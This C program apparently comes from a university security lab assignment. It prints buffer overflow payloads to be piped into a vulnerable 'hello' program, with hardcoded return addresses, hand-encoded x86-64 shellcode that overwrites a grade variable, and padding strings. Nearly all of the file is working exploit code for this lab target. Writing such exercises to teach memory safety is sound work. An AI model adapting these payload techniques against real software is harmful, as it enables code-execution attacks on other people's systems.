/**
 * Provides output to be piped into hello to cause a variety of buffer overflow attacks
 *
 * Single Author info:  trhardy  Trevor R Hardy
 *
 * Group info:
 * trhardy  Trevor R Hardy
 * payyapp  Prathibha Ayyappan
 * vsubram3  Vidhatri Subramanya
 */
 
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
   char c;

   if (argc >= 2)
     c = argv[1][0];
	
	/* For s attack, first we give the name (null terminated), then some garbage, and finally the return address is changed to the grade=c line in main */
	if(c == 's'){
		printf("Trevor");
		printf("%c", 0x00);
		
		int i;
		for(i = 7;i < 104;i++){
		    printf("%c", 0x41);
		}
		
		printf("%c", 0xdb);  /* 0x4009cb was the original value of grade=c in hello3 */
		printf("%c", 0x29);
		printf("%c", 0x40);
	}
	
	/* For a attack, first we give the name (null terminated), then machine code instructions to store A into grade, some garbage is padded in before return address, and finally the return address is changed to Name + 7 in necessary locations */
	if(c == 'a'){
		printf("Trevor");
		printf("%c", 0x00);
		
		/* movq $0x42,%r12 */
		printf("%c", 0x49);
		printf("%c", 0xc7);
		printf("%c", 0xc4);
		printf("%c", 0x41);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		/* movq %r12,0x600cc4 */
		printf("%c", 0x4c);
		printf("%c", 0x89);
		printf("%c", 0x24);
		printf("%c", 0x25);
		printf("%c", 0xc4);
		printf("%c", 0x0c);
		printf("%c", 0x60);
		printf("%c", 0x00);
		
		/* mov $0x4007f6,%r12 */
		printf("%c", 0x49);
		printf("%c", 0xc7);
		printf("%c", 0xc4);
		printf("%c", 0xf6);
		printf("%c", 0x07);
		printf("%c", 0x40);
		printf("%c", 0x00);
		
		/* jmp *%r12 */
		printf("%c", 0x41);
		printf("%c", 0xff);
		printf("%c", 0xe4);
		
		int i;
		for(i = 32;i < 104;i++){
		    printf("%c", 0x41);
		}
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
		printf("%c", 0x00);
	}
	
	/* For b attack, first we give the name (null terminated), then machine code instructions to store B into grade, some garbage is padded in before return address, and finally the return address is changed to Name + 7 */
	if(c == 'b'){
		printf("Trevor");
		printf("%c", 0x00);
		
		printf("%c", 0x49);
		printf("%c", 0xc7);
		printf("%c", 0xc4);
		printf("%c", 0x42);
		printf("%c", 0x00);
		printf("%c", 0x00);
		printf("%c", 0x00);
		
		printf("%c", 0x4c);
		printf("%c", 0x89);
		printf("%c", 0x24);
		printf("%c", 0x25);
		printf("%c", 0xc4);
		printf("%c", 0x0c);
		printf("%c", 0x60);
		printf("%c", 0x00);
		
		printf("%c", 0x49);
		printf("%c", 0xc7);
		printf("%c", 0xc4);
		printf("%c", 0xf6);
		printf("%c", 0x07);
		printf("%c", 0x40);
		printf("%c", 0x00);
		
		printf("%c", 0x41);
		printf("%c", 0xff);
		printf("%c", 0xe4);
		
		int i;
		for(i = 32;i < 104;i++){
		    printf("%c", 0x41);
		}
		
		printf("%c", 0x07);
		printf("%c", 0x0d);
		printf("%c", 0x60);
	}
	
	/* For c attack, first we give the name (null terminated), some garbage is padded in before return address, and finally the return address is changed to the line in main where grade='C' */
	if(c == 'c'){
	    printf("Trevor");
		printf("%c", 0x00);
		
		int i;
		for(i = 7;i < 104;i++){
		    printf("%c", 0x41);
		}
		
		printf("%c", 0x11);
		printf("%c", 0x08);
		printf("%c", 0x40);
	}
	
	/* For d attack, we give a lot of garbage and overwrite the return address with an invalid memory location 0x303030 to cause a segmentation fault */
	if(c == 'd'){
		printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa000");
	}
   
   exit(0);
}